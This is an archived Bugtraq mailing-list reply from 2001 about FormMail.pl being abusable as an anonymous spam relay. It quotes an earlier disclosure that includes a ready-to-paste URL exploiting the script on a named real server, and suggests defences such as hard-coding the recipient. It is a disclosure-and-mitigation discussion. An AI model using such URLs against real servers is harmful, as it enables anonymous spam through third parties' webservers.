Bugtraq mailing list archives
Re: CORRECTION to CODE: FormMail.pl can be used to send anonymousemail
From: Scott Buchanan <scott () AXE NET AU>
Date: Mon, 12 Mar 2001 15:06:37 +1100
Yeah, we actually had an incident of that long ago on our webservers, seems a few people know about it. The problem is two-fold - 1) The FormMail program uses a referrer array as the ONLY security check for calls to the program (which can be REALLY easily faked). 2) It allows the recipient email to be sent through as an HTML variable. There's a few ways to get around this, the way we initially got around it was to firewall the IP address of the spammer. The best(?) way is (if/where possible) to hard-code the recipient address into the installation.
From the example you sent, it doesn't look like the copy you've got is even
using the referrer security? Michael Rawls wrote:
Hi All, I did a little playing with FormMail.pl after a run in with a spammer abusing our webserver. Apparently ALL FormMail.pl cgi-bin scripts can be used to spam anonymously. I found another server with FormMail.pl and tried the same exploit to send myself an email and it worked. The email will not show the spammer's real IP. Only the web servers IP will show. The web server logs will however show the true IP address of the spammer. =========== Actual example of email sent; ============ Return-Path: <apache () hum auc dk> Received: from hercules.humfak.auc.dk (hercules.humfak.auc.dk [130.225.58.9]) by mail.dancris.com (8.9.3/8.9.3) with ESMTP id RAA14431 for <spam-l () shadowstorm com>; Sat, 10 Mar 2001 17:19:34 -0700 Received: from apache by hercules.humfak.auc.dk with local (Exim 3.02 #8) id 14bta3-0004tP-00 for spam-l () shadowstorm com; Sun, 11 Mar 2001 01:19:27 +0100 To: spam-l () shadowstorm com From: () Subject: WWW Form Submission Message-Id: <E14bta3-0004tP-00 () hercules humfak auc dk> Date: Sun, 11 Mar 2001 01:19:27 +0100 Below is the result of your feedback form. It was submitted by () on Sunday, March 11, 2001 at 01:19:27 --------------------------------------------------------------------------- message: Proof that FormMail.pl can be used to send anonymous spam. --------------------------------------------------------------------------- Paste the line below in to your web browser URL box as one long single line, insert your email in address in place of "email () address-to-spam com", and press enter. Now go check your email. Begin URL code ================ http://www.hum.auc.dk/cgi-bin/FormMail.pl?recipient=email () address-to-spam co m&message=Proof%20that%20FormMail.pl%20can%20be%20used%20to%20send%20anonymo us%20spam. ================ If this technique was not already in use by a spammer I would have kept it to myself, but it has already been on my server by a spammer. The address "www.hum.auc.dk" can be replaced with the address of ANY webserver set up to use FormMail.pl -M. Rawls
Current thread:
- CORRECTION to CODE: FormMail.pl can be used to send anonymous email Michael Rawls (Mar 11)
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymous email Palmans Pepijn (Mar 12)
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymous email Joel Sing (Mar 12)
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymous email Steffen Dettmer (Mar 12)
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymous email Steve Reid (Mar 13)
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymousemail Scott Buchanan (Mar 12)
- Message not available
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymousemail Scott Buchanan (Mar 13)
- Message not available
- Re: CORRECTION to CODE: FormMail.pl can be used to send anonymous email Steve Reid (Mar 12)